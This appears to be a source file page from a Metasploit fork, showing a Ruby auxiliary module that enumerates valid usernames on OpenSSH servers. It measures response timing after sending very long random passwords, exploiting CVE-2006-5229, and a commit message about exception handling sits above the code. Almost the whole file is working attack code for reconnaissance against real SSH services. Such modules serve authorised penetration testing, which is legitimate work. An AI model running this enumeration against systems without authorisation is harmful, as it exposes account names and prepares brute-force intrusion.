Files
metasploit-gs/modules/auxiliary/scanner/ssh/ssh_enumusers.rb
T
HD Moore 6b4eb9a8e2 Differentiate failed binds from connects, closes #4169
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is
that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi
on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically:

1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed
2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat
ed to use InvalidDestination as that was the intention prior to this change.

Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
2014-11-11 14:59:41 -06:00

185 lines
4.6 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'SSH Username Enumeration',
'Description' => %q{
This module uses a time-based attack to enumerate users on an OpenSSH server.
On some versions of OpenSSH under some configurations, OpenSSH will return a
"permission denied" error for an invalid user faster than for a valid user.
},
'Author' => ['kenkeiras'],
'References' =>
[
['CVE', '2006-5229'],
['OSVDB', '32721'],
['BID', '20418']
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::Proxies,
Opt::RPORT(22),
OptPath.new('USER_FILE',
[true, 'File containing usernames, one per line', nil]),
OptInt.new('THRESHOLD',
[true,
'Amount of seconds needed before a user is considered ' \
'found', 10])
], self.class
)
register_advanced_options(
[
OptInt.new('RETRY_NUM',
[true , 'The number of attempts to connect to a SSH server' \
' for each user', 3]),
OptInt.new('SSH_TIMEOUT',
[false, 'Specify the maximum time to negotiate a SSH session',
10]),
OptBool.new('SSH_DEBUG',
[false, 'Enable SSH debugging output (Extreme verbosity!)',
false])
]
)
end
def rport
datastore['RPORT']
end
def retry_num
datastore['RETRY_NUM']
end
def threshold
datastore['THRESHOLD']
end
# Returns true if a nonsense username appears active.
def check_false_positive(ip)
user = Rex::Text.rand_text_alphanumeric(8)
result = attempt_user(user, ip)
return(result == :success)
end
def check_user(ip, user, port)
pass = Rex::Text.rand_text_alphanumeric(64_000)
opt_hash = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => port,
:disable_agent => true,
:password => pass,
:config => false,
:proxies => datastore['Proxies']
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
start_time = Time.new
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, user, opt_hash)
end
rescue Rex::ConnectionError
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :success
rescue ::Timeout::Error
return :success
rescue Net::SSH::Exception
end
finish_time = Time.new
if finish_time - start_time > threshold
:success
else
:fail
end
end
def do_report(ip, user, port)
report_auth_info(
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:active => true
)
end
# Because this isn't using the AuthBrute mixin, we don't have the
# usual peer method
def peer(rhost=nil)
"#{rhost}:#{rport} - SSH -"
end
def user_list
if File.readable? datastore['USER_FILE']
File.new(datastore['USER_FILE']).read.split
else
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
end
end
def attempt_user(user, ip)
attempt_num = 0
ret = nil
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
if attempt_num > 0
Rex.sleep(2 ** attempt_num)
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
end
ret = check_user(ip, user, rport)
attempt_num += 1
end
ret
end
def show_result(attempt_result, user, ip)
case attempt_result
when :success
print_good "#{peer(ip)} User '#{user}' found"
do_report(ip, user, rport)
when :connection_error
print_error "#{peer(ip)} User '#{user}' on could not connect"
when :fail
print_debug "#{peer(ip)} User '#{user}' not found"
end
end
def run_host(ip)
print_status "#{peer(ip)} Checking for false positives"
if check_false_positive(ip)
print_error "#{peer(ip)} throws false positive results. Aborting."
return
else
print_status "#{peer(ip)} Starting scan"
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
end
end
end